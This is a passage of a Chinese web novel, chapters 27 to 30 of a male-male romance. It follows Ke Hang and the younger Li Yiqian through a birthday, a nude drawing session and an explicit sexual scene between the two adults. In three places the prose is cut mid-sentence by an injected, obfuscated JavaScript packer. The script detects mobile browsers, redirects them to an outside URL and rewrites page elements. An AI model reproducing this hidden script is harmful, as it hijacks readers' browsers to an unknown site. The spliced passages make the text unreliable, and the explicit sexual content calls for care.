陆森的鼻子很灵敏,刚才两人都离他都有些近,柯杭身上的香水味重一些,但除了香水味还有一些淡淡的橘子味,李一谦身上橘子味多一些,若有似无的香水味应该是蹭上去的。 这也是他刚才出来打圆场的原因,情侣之间,很容易因为这些小事情吵架,就像是没事找事一样。 但这个不能说。 李一谦结结巴巴说:“啊...我们去,做蛋糕?” 和李一谦相处那么多年的直觉告诉他,李一谦不太对劲。他眯起眼打量面前这个少年,忽然笑了:“嗯?” 陆森留下一句“去准备材料”后溜之大吉,留两人在客厅里。 柯杭的头发长了,通常都是李一谦看到后顺手就给他梳起来,扎个马尾或者一个丸子坠在后脑勺,今天他自己拿头绳随意绑了一下,额前已经有几缕碎发垂下。 他每天出门会习惯性喷两下香水,但李一谦又没有来蹭过香水,怎么会和他有相同的香水味呢? “陆森对气味应该很灵敏,所以能闻到我们身上的味道。”柯杭似笑非笑,“你身上为什么会有我的香水味,好难猜啊。” 李一谦坐怀不乱:“在地铁的时候蹭上的。” 绝对不是他半夜起来往自己身上喷了一泵。 “这样啊。”柯杭拖长声音说。 “嗯。”李一谦语气坚定。 “走吧,做蛋糕去。”柯杭起身,一脸遗憾:“还以为有些人喜欢我喜欢到想要身上都是我的味道。” 李一谦拉住他的手,索性承认了:“就是这个原因。” “乖。”柯杭拍拍他的头,笑得风流倜傥。 做完蛋糕已经是半小时后的事情了,只装饰蛋糕的话,对柯杭来说确实不算难,陆森调色调得挺好看的,柯杭夸了夸他。 准备结账的时候,陆森却摇摇头说不用,因为李一妍和他关系很好,他也拿他们当朋友,所以不用给,“更何况今天是弟弟生日,就当我对他的祝福吧。” “生日快乐。”陆森笑着说。 “谢谢。” 柯杭想了个办法:“那这样吧,我看你做了很多酸奶泡芙,有多的吗?我买点,顺带给你拉点生意。” 好一点儿的蛋糕都是几百几百卖的,陆森这儿用的东西都不便宜。他看网页上都是两三百的样子,虽然对他来说不算很贵,但无功不受禄。更何况他们过来叨扰人家,柯杭没办法心安理得接受这个蛋糕。 “那我每样给你装一些吧。”陆森犹豫了会儿便做出了决定,“回家后放冰箱就行,尽量在两天内吃完。” “多装点儿也没事,我带去给朋友。”柯杭想到工作室那两个没回家的人,“顺带给他说一下你想做的那个网页。” 陆森再次道谢:“谢谢。” 27. 还缺一个吻 回去的路上,两人选择打车。 地铁上人流量大,他们还提着蛋糕,万一挤坏了得不偿失。 柯杭没把蛋糕给李一谦提,到家后直接暂时放进冰箱。 平时无聊的时候他会打游戏或者画画,今天么,一整天的时间都得给李一谦,所以他问:“打会儿游戏?” “音游?” “不不不,日常挑战都给我分十级曲子了,打一局手酸死。”柯杭疯狂摇头,想起被肖邦夜曲支配的恐惧。 没断连击是因为他根本就是一直四根手指一直机械地点,毫无技术可言,让他失去了信心。 “那玩什么?”李一谦问。 柯杭把手机举至他面前,念了下游戏分类里几个游戏的名字,又补充道:“但你知道的,这些我玩的都一般。” “那玩这个吧。”李一谦说。 李一谦手指的地方是一款非对称性对抗游戏,4v1的模式。 柯杭:“你玩过?我没拉你玩过吧。” “那段时间游戏送奖励,你拿我手机号注册过账号抽皮肤。” 柯杭想起来了,确有其事哈。 “然后你后面都有玩?” 李一谦:"陪吕轻扬他们玩过几把。" “那行。”玩过就行,不是什么也不懂的新手,但也没有那么高的技术,刚好可以一起菜。 柯杭到卧室里把平板拿出来随机播放歌单里的歌曲,又拿了张毯子扔沙发上,自己坐上去盘好腿,扯过一旁的抱枕垫在手肘下。 “哥,你的id,我加你。” “天才画家木可可。”柯杭嘴快说了出来。 这个游戏是他刚上大学的时候玩的,取的时候觉得自己取的有理有据,自己念出来却莫名有些羞耻。 李一谦倒是神色自如:“好。” 好友系统立马就亮了红点,他点进去看,发现一个顶着初始头像的只有10级的人加了他,这个必然就是李一谦了。 这个id还是他以前听歌顺手取的,称得上精品伤感id:如何离别你。 一瞬间涌起当时听歌的感受。 十几岁的时候总是很感性,倾听别人故事时都会下意识代入进去感同身受,将情感融入画笔,绘于纸上。 “你没换啊,这个id。”柯杭有些忆往昔岁月的感慨。 李一谦说:"没换,因为是你改的。" “这是一首歌的歌词,我放给你听听。”他动手把李一谦拉入自己的游戏房间,手撑在李一谦腿上去够桌上的平板。 掌心下的腿紧绷着,肌肉也是硬的,他随口问:“你平常有没有锻炼过?” “最近没有。” 柯杭嗯嗯的应着,搜出以前喜欢的那首歌放给李一谦听。 “我们打匹配。”柯杭点击准备游戏,“不知道为什么它排位要限制时间,排位的时候不能打娱乐,娱乐的时候没有排位,只有匹配是万金油。” 李一谦点点头,默默离柯杭近了些。看见他选的角色,挑眉道:“哥,你们都是画家。” “是吧。”柯杭有些得意,“虽然这个游戏我断断续续的玩,但每次玩我基本都是玩他。” 柯杭玩的角色是“画家”,穿着红色小披风,带着画家帽的一个男性角色。李一谦选了一个初始角色,他们进入游戏。 期间惊叹、怒骂、震惊在两人身上来回演绎。 “开挂了吧?不然怎么能知道我在这儿?”柯杭骂道。 “他的触手会指向最近的求生者,”李一谦安抚他的情绪:“没事我过来帮你。” 一个小时后,柯杭红温退游,结束今天的游戏之旅。 他默默道:“其实我觉得音游也挺适合我的。” “要不要吃蛋糕?”李一谦笑眯眯的。 正准备起身,手机铃声响起,是他爸的。 “小谦?”李启铭叫他。 “在的爸。”李一谦打开免提,将手机放在桌上,去冰箱拿蛋糕。 李启铭:“生日快乐啊,什么时候到爸爸这儿来?” 李一谦人已经在厨房了,柯杭只得替他回答:“叔叔,他去拿东西了。” “哦哦,这样啊。”李启铭听出他的声音,“小杭要不要跟小谦一起过来玩几天?” 柯杭说:“不用啦叔叔,我这边儿还有工作呢。” “哈哈是我唐突了。” 李一谦提着蛋糕盒过来放在桌上,自己贴着柯杭坐下。 “爸,你那边什么时候方便我过去?”李一谦问。 李启铭责怪:“这说的什么话。” “我妈不是在你那边吗?”李一谦反问,又说,“我不想当你们俩的电灯泡,你们俩多呆呆。” 柯杭在一旁无声地笑。 “你妈后天走,你后天来?再一起吃个饭。” 李一谦看了眼柯杭,随后答应:“好。” 挂掉电话后,李一谦圈住柯杭的脖子,头靠在对方肩膀上,依恋道:“不想走。” “得了啊。”柯杭对这一套撒娇很受用,但也不能扣住人家儿子不是,“我又跑不掉。” 李一谦蹭蹭他的脖子,“我走了你会想我吗?” “你先起来,压到我头发了。”柯杭伸手推他脑袋,把自己的头发拢到另一侧。 李一谦态度很好地道歉:“对不起。” “多大点事儿。” “那你会想我吗?”李一谦凑到他面前,不依不饶地问。 柯杭微微抬头,垂下眸子看他:“想啊,一天想八百遍。” “起床了想你今天会做什么,吃饭时想你今天吃的什么,手酸时想你回来给我按摩,睡觉时想你给我暖床。” “够不够想?”柯杭问。 李一谦瞳孔微震,手不自觉抚上柯杭的脸,迷恋道:“哥,我今天的生日礼物,还缺一个吻。” “真的很想亲你。” 柯杭往后仰,躲开他的动作,“等你回来再说。” 他这一仰就往后栽去,李一谦顺势伏在他身上,柯杭直觉不对,连忙遮住嘴。 李一谦被他动作气笑了,双手撑在他身体两侧,又委屈控诉:“你太不信任我了哥。” 要不是柯杭一直盯着他看,没有错过他的那个笑,他简直信以为真,真会觉得自己以小人之心度君子之腹了。 “就这样。”李一谦低头吻在他遮住嘴唇的掌心上,接着坐回原位,将柯杭从沙发上拉起来,“谢谢哥。” 柯杭烧红了脸,低声骂他:“不要脸。” “追你不需要脸。”李一谦回他。 柯杭逗他,“脸不好看的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248904|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我不要。” “我不好看吗?” “好看。” “喔。”李一谦开心了。 两人打闹了一会儿,柯杭主动站起来结束这场闹剧,催促他可以买票了。 “蛋糕你现在想吃吗?”柯杭问。 “还好。” “那我们过会儿吃,你给我当会儿模特,我给你画一幅画,你看行不行?” 李一谦撅着嘴:“不是说好不画画的吗?” “画你你就不要那么多话,”柯杭又把蛋糕放回冰箱,回来后对李一谦说:“把你衣服脱了。” 李一谦张大嘴:“你要画裸模啊?”不待柯杭回答他就带着些惊喜,又带着些娇羞,看似磕磕巴巴,实则无比顺畅地继续说:“也不是不可以啦,只是你看了我就得对我负责,你就不能考虑那么久了,也不能说——” “......”柯杭简直想把手里的水桶盖他头上,出声打断他的妄想:“我什么时候让你脱光了?!” 话音一落。 刚还絮絮叨叨的李一谦仿佛被人按了沉默键,一脑袋扎进沙发上的毯子里,当鸵鸟。 给柯杭看笑了,用脚尖踢了提他翘起来的屁股,“喂。” 李一谦伸出一只手,反手把他作乱的脚拍开。 “我不行了,你真的是哈哈哈哈,”柯杭坐在一旁的椅子上看着沙发上的鸵鸟笑,“你脑子里一天到晚想些什么呢?” 李一谦声音闷闷的:“想你。” 柯杭又用脚尖点点他的腿,“要不要画啊?” “画。”李一谦抱着毯子挡住自己的脸。 柯杭哭笑不得:“你就算挡住脸我也忘不掉你刚才的话啊。” “好了好了,不笑了。”柯杭控制住自己疯狂上扬的嘴角。 本来控制的好好的,紧抿着双唇,但当李一谦放下毯子,露出大红脸后,他没忍住破了功。 李一谦不敢怒也不敢言,目光幽幽。 柯杭捂住嘴,保证道:“真不笑了。” “你上衣脱了坐那个小沙发上就行,”看了眼他穿的短裤,意有所指:“短裤你想脱就脱吧。” 李一谦:“你之前也画过别人的吗?” “画过啊。”柯杭坦然道。 裸体人体写生是他们的必修课,最开始是挺不好意思的,但开始画的时候,看到的便是模特的骨骼走向,而不是皮相了 “画过很多吗?”李一谦不知道自己的语气已经有些吃味。 柯杭点头:“嗯,大概十多个?”那堂课只有三个学分,一学期就上完了,他当时拿的分还挺高的。 “我有点吃醋。”李一谦走向前勾着他的手指说。 柯杭觉得这没什么,只是画画而已,但李一谦毕竟不是学他这个的,吃味儿很正常。但并非不明事理,说出来一半是真不开心,一半是撒娇。 他最会哄李一谦,但也是实话实说:“他们只是模特你知道吧?你看到的可能是他们裸露的外表,但我看到的只是人体结构,且每一处只要画好了就是分。” “懂吗?” “啪”一声,他两只手拍在李一谦下颌上,托着他的脸,“但你是不一样的,所以我让你穿着裤子。” 李一谦在脑中思考了一下柯杭这句话。 颅内兴奋了。 28. 气味 柯杭将阳台的窗帘拉上,打开客厅的灯,又将画架椅子什么的移到沙发对面。 指挥李一谦在沙发上坐好后,坐回自己的椅子拿起铅笔起形。 开始画画时,柯杭的注意力便全集中到了画上。他边观察边画,忽然发现肩膀那一块儿有些不对,他开口问:“你肩膀两边怎么不一样?” 李一谦愣了一下:“我高低肩?” “不是。”柯杭思考了一会儿,给出答案:“像是有一边受过伤,长时间没有动过造成肌肉萎缩,康复后努力养回来了,但还是跟健康的那边还是有些区别。” 说完,他自己脸先黑下来:“你肩膀受过伤?我怎么不知道?” 李一谦奇道:“这也看得出来?” “嗯,怎么搞的?” 李一谦迟疑了片刻,在犹豫要不要说,就见柯杭停下笔,没再画,歪头看着他,眼里没有平时的慵懒,冷冰冰的。 “去年国庆放假,和他们打篮球,肩膀扭伤了,那段时间打了石膏,左臂确实没怎么动过,细了一节,后面锻炼恢复回去了。” 越听心头越惊,柯杭抱有些侥幸心理:“当时你爸妈知道吗?” 李一谦没有动,说:“不知道。”发现柯杭的表情不对,他连忙找补,“但我姐知道。” “可是她没告诉我啊。” 两人隔得不近不远,刚好能捕捉到对方脸上的每一个动作。 “她回去照顾你了没?” 李一谦点头:“照顾了。” 柯杭却不信。 他知道李一谦一直是个独立的小孩儿,就像现在在外闯荡只报喜不报忧的那种儿女,所以不信。在桌上找到手机,作势要给李一妍打电话。 李一谦赶忙起身阻止他。 柯杭声音很冷:“不准动。” “别给她打了,我跟你说。”李一谦在柯杭的眼神压迫下坐回原位。 柯杭紧握着手机,深呼一口气:“说。” “我姐确实照顾我了,回来了两天,太忙了,我就让她回去了。” 柯杭面无表情:“她也真放心你。” 如果他知道李一谦受伤了,他还管个屁的尴不尴尬,直接回去照顾人了,也不会回去个一两天就走。 可是“如果”只是想象中的结果。 “哥,你在心疼我吗?” 柯杭微笑,露出森白的牙齿,咬牙切齿道:“心疼狗都不心疼你。” 李一谦像在牌桌上胜利的赌徒,洋洋得意:“我就知道,所以没告诉你。” “你是狗啊。”柯杭能看出他在缓和气氛,但还是气急。 李一谦:“你不是说我像你以前养的小狗吗?” “你是真的狗。” “现在都不疼了,你不说我都忘记了。”李一谦央求,“继续画吧哥。” 柯杭放下手机,走到沙发前蹲下,仔仔细细地摸了一遍他肩周的骨骼,心疼道:“不要再有下次了。” 李一谦说好。 柯杭坐回位置继续画,但看向李一谦的眼神里,总多了些情绪。 是心疼。 刚才他短暂的埋怨过李一妍的不负责,李一谦爸妈的不关心。但现在他更责怪自己的别扭,也恨自己不够坦然。 过了好一会儿,他发现李一谦的肌肉紧绷起来,有些担忧地起身:“怎么了?是不是不舒服?” “哥,”李一谦叫他,语气带着些哀求:“你不要这样看着我。” 用这种心疼的、怜惜的、温柔的眼神看着我,那样会让我觉得自己像个不择手段的恶人。 柯杭顿住脚,视线往他腰下看去,顿悟了。 两人相顾无言,哦不对,他们根本不敢看对方。 这种情况在以前画模特时也有发生过,但他都没在意过,他只在意自己画没画好。 可李一谦又跟那些人不一样。 最后还是柯杭开口打破沉默:“你要不去解决一下?正好回来就可以换个动作了。” 李一谦深深看了他一眼,去卫生间洗了把脸就出来了。 那处还半硬着。 柯杭:”?你不......” 李一谦摇头,“不用管。”又善解人意地问,“会影响你画画吗?” “不会。”柯杭秒答。 反应过来自己回答了什么的时候,已经来不及了。李一谦已经换了个动作,躺在沙发上,头枕着他刚才随手放在那儿的抱枕,将肩膀遮住了一些。 柯杭调整心情,刻意不去看他的腰腹之下。 可是眼神总是情不自禁往下瞟,视线总会和李一谦在空中交汇。又是这种野兽看猎物的眼神,凶狠,但又不完全,里面还有些他看不懂的情绪。 秉持着良好的职业操守,柯杭面不改色的画完了模特的上半身。 他终于忍不住了。 “你不要这样看着我。” 半小时前李一谦说的话,被他还了回去。 “为什么不能这样看?” “你说过不能看你吗?” “哥,那我该看哪里呢?” 一下子冒出来的三连问,让柯杭哑口无言。他掩面,指声戾气:“把你眼睛闭上。” 李一谦顺从地闭上眼,自以为很小声的嘀咕道:“闭上了我脑子里也看得见你呢。” 柯杭听到了。 两只耳朵都听到了。 不难想象为什么脑子里看得见他,他怀疑李一谦在耍流氓,但他不敢戳破,李一谦的脸皮已经越来越厚了。 谁能把以前跟他说句话都能脸红的小朋友还给他? “哥,”李一谦侧躺着,动了动腿,看着他问:“还画不画?” 柯杭不争气地咽了口口水,“画。” 这真不怪他啊,李一谦要颜值有身材,要身材有颜值,更别说他还有滤镜加持。 很难不被勾引到。 两人靠着顽强的意志力,撑到了这场人体写生结束。 这会儿已经到了饭点,柯杭摸摸肚子,有些饿了。 “吃蛋糕还是出去吃饭?” 李一谦说:“我都可以。” 柯杭盯着他看了几秒,轻飘飘说了句:“看习惯了你不穿衣服,这一下穿着衣服还怪不习惯的。” 李一谦愣了一下,嘴角勾起一抹笑:“哥,你在调戏我吗?” “?”柯杭:“我实话实说。” “嗯。” 是没信的样子。 傍晚已经不太热了,两人溜达出去夜市随便买了几样东西吃。 回到家里,柯杭把下午画的素描稿整理好,叠在一起用夹子夹住,放到自己房间里。 李一谦疑惑:“不是送给我的吗?” “谁说是送给你的?”柯杭也有些疑惑:“我只是让你当模特啊。” “你来之前,你姐说让你住进来,不仅可以给我洗衣做饭,还可以给我洗颜料当模特。” “前几样你都很好的做到了,但当模特是第一回。”柯杭提醒他。 他说的有理有据,李一谦觉得自己好像在无理取闹一样,他不禁问:“那你留着有什么用吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248905|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “有啊。”柯杭答的坦然。 “什么?” 柯杭脸不红心不跳的:“你不是后天就走了么,我睹画思人。” 今天下午柯杭画他的好心情顿时消失了一半,李一谦嘴角都向下撇着了:“那你不如和我打视频。” “不行的呀。”柯杭假模假样,“看到你我会不好意思。” 柯杭放好画稿后,去冰箱将蛋糕提出来,拆开后把蜡烛插上。他正要去关灯,李一谦却拦住他,“不关灯了吧。” 沙发这边离客厅灯挺远的。 柯杭怎么会不知道李一谦在想什么:“那你去关?” “好。”李一谦先把手机手电筒打开放在桌上,又去把灯关上。 手机背后的光亮成了昏暗客厅里的唯一光源,柯杭手里握着打火机,灯灭的时候点燃蜡烛。 他招呼李一谦坐下来,一边拍手一边给李一谦哼唱生日快乐歌。 最后,他说:“生日快乐啊,一谦。” 李一谦还盯着他看,蜡烛的暖光映在他的眼眸之中,里面还有自己的影子。 他催促李一谦吹蜡烛,“帮我许个愿,今年能存个六位数。” 边说边摸出手机给李一谦拍照片。 “好。” 李一谦闭上眼睛许愿。 几秒过后睁开眼吹灭蜡烛,“许好了。” 他起身去把客厅灯打开,走到身边蹲下,从背后抱住坐在矮凳上的柯杭,“谢谢哥,今天真的很开心。” 柯杭反手拍了拍他的头:“知道了。” 他们一起分享完蛋糕,柯杭发了个朋友圈。下面清一色的祝福生日快乐的,偶尔还有几条是高中同学评论的别的。 女同学1:[弟弟生日快乐啊!谁敢信,我已经有一年没见过新鲜的弟弟了。] 同学2回复女同学1:[上大学后就很少了,我思之若狂。] 柯杭回复同学2:[不准看,走开。] “哥?你要不要先去洗澡?” 他们同吃同睡了一个多月,一般是柯杭先去洗澡,李一谦再去。现在他忙着回复消息,让李一谦自己先去洗。 同学2是个gay,之前还问柯杭能不能介绍他和李一谦认识认识,柯杭当时就拒绝了,甚至没说出个原因,只说了句“我弟不会喜欢你的”。 那男同学最后成了李一谦的纯颜粉。 和李一谦一块儿出去玩,他总会拍些照片留着,要不发朋友圈,要不无聊的时候翻翻,之前他不觉得有什么,现在看来,一些东西还有有迹可循的。 想到李一谦有半个月不在,他有点苦恼。 半个多月回来之后,没几天就要去军训了。训来训去,人都晒成煤炭。 唉。 军训又不让外宿,大一又忙。 习惯李一谦天天在他面前晃,一时间走了还蛮舍不得的。 李一谦从浴室出来,换柯杭去洗。一踏进浴室,甜橙味争先恐后的扑面而来。 柯杭站门口站定,看着热气还没散完的狭小空间,情不自禁对着眼前的场景勾勒出李一谦的身体动作。 将换洗衣裤放在浴巾架上,再把脏衣服脱下来扔进门边的脏衣篓中,赤裸着身体走进去拉上门。 先打开喷头,将全身淋湿,再在手心中挤上洗发露,他买的洗发露是透明的,李一谦应该会在掌心搓几下,再将发白的乳液抹上头发。 用水冲时,白色的泡沫会随水流一块滑下肌肤...... 柯杭低头,两秒后,发自内心叹了口气。 29. 帮助 柯杭趴在床上,打了个哈欠,等李一谦的视频。 李一谦已经去他爸那边十多天了,昨天还告诉他要晚两天回来,柯杭心里苦闷了一下就让他放心呆了,自然不可能说不让他陪李启铭。 自己睡觉确实也挺舒服的,不怕翻个身就压到人。他想,李一谦晚几天回来也行。 等到快睡着时,李一谦的视频终于来了。 看模样他刚洗过澡,柯杭紧盯着对方露出的锁骨,上面似乎还有未擦干的水珠。 柯杭吹了个流氓哨,眼里尽是笑意:“哟,小帅哥身材不错。” 李一谦无奈:“我穿着衣服的。” “我知道啊。”柯杭“啧”了一声,埋怨道:“洗澡都不让看,小气鬼。” 李一谦作势往浴室走:“真要看?那我再去洗一个” 柯杭叫住他,略作思考:“还是不要了。” 虽说不看白不看,但隔着屏幕只能干着急,不像平时抬头不见低头见,眼馋了就可以摸两把, “等你回来再看。” 李一谦当然答应。 “哥,那个口哨是怎么吹的?”他问。 柯杭挑眉:“你不会?” 他坐起身来,开始给李一谦教学。 “你看,这是舌头。”他将自己的舌头伸出来,指着舌尖,"你先不动舌头,缩拢嘴唇。" 柯杭作出示范嘴唇是小而圆的O形:“像这样,中间留出气孔,嘴唇再往前伸一点,不要贴牙齿。” 他说完,一声清脆的口哨声响起,得意扬眉。 “厉害。”李一谦夸。 然后跟着试了几次,还是不太行,最多发出吹重了的嘘嘘声。 柯杭在这头笑:“别吹了别吹了要尿了。” “你再调整一下唇形和舌头的位置呢?”柯杭笑完给他支招。 李一谦摇头说不试了。 “你回来我再教你啊。”柯杭说。 提到这个李一谦眉眼耷拉下来,"我要晚点回来,回来都快开学了。" “没事儿。”柯杭嘴上不在意,心里叹了一口气,“他留你在那边帮忙吗?” "对,他竟然让我一个高中学历的人进他实验室打下手。"李一谦愤愤道。 柯杭揶揄:“没事儿啊,成年了,不算童工。” 两人又聊了一会儿,最后要挂的时候,李一谦才说出柯杭最想听的一句话:“想你了。” 柯杭笑了笑:“知道了,早点睡觉。” “晚安。” 挂断电话后,柯杭有些惆怅。 其实他可以去找李一谦的,李启铭的研究所位置他也知道,但过去实在有些不好找理由。 更何况现在这个情况,他不太敢。 拐了人家的儿子,虽然还没拐到,但还是心虚。 以前没觉得十天半个月看不到李一谦有什么,但现在完全不一样了。家里只有他一个,天天睡醒后就去工作室找人玩了。 柯杭已经无聊到拉万煦谈心了。 万煦一脸见鬼的样子:“你发什么疯?” “哦。”柯杭兴致缺缺,“家里没人,呆着没什么意思,太无聊了。” 万煦奇道:“你弟呢?” “去他爸那儿了。” “冒昧问一下。”万煦有些难为情,“你跟你弟还有上回来的那个美女,你们是重组家庭吗?” 柯杭:“?” 柯杭:“怎么可能?万煦,你想象力太丰富了吧。” 万煦沉默:“......” 万煦疑惑:“不是亲的为什么对你那么言听计从?” 万煦摸不着头脑:“看你俩平时的相处模式,怪怪的。我都无法说服自己你弟对你没意思了。” 这回轮到柯杭沉默了。 这么明显的吗? 不应该啊。 柯杭虚心请教:“怎么个事儿?” “虽然你可能觉得我吹,但是我还是要说,看你俩相处的氛围和他看你的眼神。”万煦说:“你没有发现吗?他的眼睛总是看着你,我偶然几次看到他,跟随他的目光,尽头都是你。” 柯杭干巴巴道:“不愧是辅修心理学了的人哈。” “只要不瞎都看得出你们不对劲。”万煦朝他翻了个白眼。 柯杭当没看见,生硬地转移话题:“你和我给你介绍的甲方爸爸把合同敲下来没?” “别转移话题,”万煦双手抱臂,用审视的眼神看着他:“你和你弟到底什么关系。” “目前就只是弟弟。”柯杭举手投降,“我和他姐玩的特好,他从小就爱跟着我,长得白嫩嫩的像个糯米团子,跟在身后甜滋滋地叫''哥哥'',谁顶得住?” 万煦:“我以为只有他是个兄控,没想到你俩还挺相辅相成。” 柯杭:“......” “你这个''只''字很有灵性,他跟你表白了?” “这是另外的问题和价钱了。”柯杭意识到不对,拍拍桌子,质疑道:“你从刚才就在转移我问你的问题是吧?” 万煦:“呵。” 最后他们之间的聊天不了了之。 柯杭每天睡醒后出门,在工作室呆到半夜才回家。 回到黑黢黢的家,再自己打开灯。 洗完澡躺在床上,他忽然想起自己最近都没怎么发泄过,于是打开床边柜最下面的抽屉,手摸到里面,拿出一个方形的盒子。 柯杭在不热衷的事情上很少花费时间和精力,但纾解情谷欠这件事又有点不一样。 自己一个人住这么久,没点想法是不可能的,买了全套工具,保持一个月一次的样子。 不是因为羞耻,而是麻烦。光是准备工作就要花小半个小时,而且很容易手累。 非要说的话,就是没有当1的心,只想躺平享受。 在浴室里做好清理后,柯杭将室内的温度调高了两度,本来是十八的。 他把窗台上的台灯拿到床边打开,又关掉天花板上的顶灯,坐在床上拆开指套盒子的包装。 柯杭躺在床上,怀里抱着一件从衣柜里拿出的衣服。 拿李一谦的衣服diy太变态了,他干不出来,哪怕李一谦跟他隔了个几百公里。 两人用的相同的洗衣液,这一个多月下来身上的味道也大差不差了,所以柯杭拿自己的衣服当个平替。 - 他一只手安抚前面,另一只手伸向身后把里面的东西拿出来。 没用的东西。 忽然,房间门被拧开,柯杭浑身僵住,僵硬地往门口看去。 “哥?”李一谦叫他。 柯杭沉默了一瞬,别过头:“你怎么回来了?” 他庆幸自己身上盖了层薄被,不至于那么社死。同时对自己的身体有了更全面的了解,这竟然都没被吓萎。 “你不想我回来吗?”李一谦顿时委屈。 同时,他很快发现了不对劲的地方。 柯杭躺在床上和他说话时,习惯平躺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248906|197907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或是坐起来,今天却是一直侧着身子。 不对劲。 他向前走去,“哥,你在做什么?” 柯杭只觉得自己浑身的汗毛都竖起来,稳住声音说:“没干什么。” “那我自己看了。”李一谦语含抱歉说,“对不起哥。” 被子被掀开,柯杭不着寸缕的身体和被扔在一旁的玩具就这么水灵灵地出现在李一谦的视线中。 “哥。”李一谦蹲下来,去覆住柯杭的手,直勾勾地盯着他,眼眸里透着欣喜和惊讶:“原来哥哥也会想这样啊。” 这话怎么听怎么理解都是李一谦觉得他不行。 柯杭回击道:“废话,我又不是不行。” “让我帮你吧,哥哥。” 李一谦的手指是灵活而有力的,扣住柯杭的手,将对方手中的东西夺到自己手中,替他动起来。 他明明是跪在床边,比柯杭视角还要高,柯杭却有种居高临下的感觉。 解决完一次后,李一谦扯了几张放在床头的湿纸巾,替柯杭细细擦拭指节。 而另一位当事人正盯着他发愣。 李一谦爱死这副模样了,没忍住凑上去吻了吻他的嘴角,被柯杭踹了一脚,“滚去洗澡。” “那你等我。”李一谦又抓过他的手亲了亲,一溜烟儿跑去卧室。 李一谦发誓,这是他这辈子洗得最快的一次澡,摸了一遍沐浴露后草草冲了一遍就裹着浴巾出去了。 他直觉今天会有个重大突破。 回到房间,柯杭还在原来的位置没动,只不过用被子把全身都盖住了。 李一谦躺到床上,从背后抱住李一谦蹭了蹭,“哥。” 他朝被子里摸了摸,果然摸到了那个玩具,他先没管,手抚上柯杭的腰,低头在他颈侧嗅着:“你身上怎么那么香。” 鼻尖贴近肌肤,柯杭浑身炸毛,伸手要将人推开。 可是他力气用的那么小,跟欲拒还迎没什么区别。 李一谦是知道柯杭的,如果不愿意就会直接冷脸让他滚,但现在这模样完全就是默认和纵容。 他很会顺杆爬,不再顺从柯杭,将人翻了个身平躺在床上,自己俯身在他身上。 李一谦扣住柯杭的手,一下下吻着他的脖颈、下巴与脸颊。到嘴唇的时候,却因对方偏头的动作顿住了,直起身子:“哥?” 柯杭腰上还搭着那件衣服,皱巴巴的,长发乱糟糟的贴在锁骨上,胸膛露出大半,眼里氤着水汽,又一脚踹在李一谦肩膀上,冷声道:“发情找别人去。” 他的声音有纵情后的余韵,一言一句仿佛都在引导人来采摘。 李一谦一只手就能握住他的脚踝,顺势将他腿放在肩上,“哥的腿,是想放在这里——”他又扣住那皙白的长腿贴在自己腰侧,“还是这里?” 柯杭震惊于这人能面不改色地说出这么露骨的话,心中却为之一动。 “哥,”李一谦俯身啄他的嘴唇,这次没遭到拒绝,“我帮你。” 柯杭手伸向自己旁边的空位,李一谦仿佛知道他要做什么一样,先一步将玩具拿到手上,善解人意道:“如果哥想用玩具的话,那我用玩具帮哥。” 还不等柯杭反抗,李一谦又贴上来吻他的眼睛,声音是温柔的,话语却在下达指令:“闭上眼睛,不要拒绝我。” “我会让哥舒服的。” 可能是李一谦的声音太巨魅惑性,又或是他一口一个"哥"让柯杭毫无招架之力,只得被牵着鼻子走。 30. 李一谦就是个妖精 现下这个样子是真的跑不掉了,柯杭决定顺从自己的心意与情欲。为纾解专门挑选的音乐,在此刻做了最好的调剂品。 被触碰,被亲吻,其中的快感让柯杭脑中再装不下其他。 恍然间,柯杭觉得自己当时的点火行为似乎过分了些。 游走在身上的手指,挑拨着他的理智线。被情欲笼罩,真的是很可怕的事情。 柯杭能清楚感觉到李一谦的手指是如何辗转在他身体之中。他是知道这双手的,他曾经无数次观察过,描摹过。这双手也常常搭在他的肩颈、贴在他的腰背,牵住他的手掌、 ...... 那一瞬间,快感如潮水般涌来,令柯杭着迷,无法自拔。 李一谦像耐心蹲守的野兽,将猎物的表情一清二楚地捕获在眼中。 柯杭在情欲中享受,坏心眼的操纵者却停了下来,他听到李一谦叫他、问他:“哥,平时是几根手指才放玩具进去的呢?” 不知道李一谦再发什么疯,这个问题让他浑身像烧起来一样,或许早就烧起来了,柯杭偏过头当做没听见。 他不想看见李一谦,李一谦却不如愿,手指插进他的发梢间,撩开汗津津的发丝。 “哥。”李一谦亲吻他的耳垂,顺势躺在他的身侧,“长发也好看。” “我本来想给你个惊喜的,没想到你比我想象中更礼尚往来。”臂膀越过他的身躯,拿起一旁的玩具。 